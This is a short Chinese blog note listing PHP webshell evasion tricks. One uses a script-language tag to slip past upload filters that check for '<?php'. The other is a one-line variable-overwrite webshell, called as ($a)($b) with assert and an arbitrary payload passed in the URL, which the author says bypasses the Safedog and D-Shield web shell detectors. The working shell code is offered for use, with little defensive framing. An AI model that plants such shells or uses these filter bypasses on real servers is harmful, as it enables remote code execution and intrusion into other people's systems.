@1kbfree
2018-10-07T19:14:29.000000Z
字数 641
阅读 1463
PHP
script 标签执行 php 代码版本要求:
7.0以下
创建一个test.php文件,内容如下
<script language="php">phpinfo();</script>
然后他会去执行phpinfo()函数

这个写法可以用来绕过那些检测上传的内容是否存在<?php的waf
php动态调用函数版本要求:貌似只允许
7.x(我用5.x的时候会显示Parse error: syntax error, unexpected '(')
<?phpforeach ($_GET as $key => $value) {$$key = $value;}( $a )( $b );
然后访问 http://127.0.0.1/test.php?a=assert&b=phpinfo(); 就等于执行了phpinfo()函数

这里的 $$key 用处:比如 $key 的值是 a 然后前面有个 $ 符号,然后他就会变成 $a 就变成一个变量了,这个就叫做变量覆盖~
这里的(函数)(函数)就是php动态调用函数的写法,写个小案例
<?phpfunction nm( $str ){echo $str;}( 'nm' )( '你妹,日,干,嚓,无敌,安排' ); // 调用 nm 函数,并且传递后面的值

上面的代码还可以用来绕过安全狗以及D盾~ 效果如下
安全狗:

D盾:

但是这个只能在
php 7.x情况下面才可以 = v =
还有一种办法可以绕,文章链接:https://www.zybuluo.com/1kbfree/note/1299322
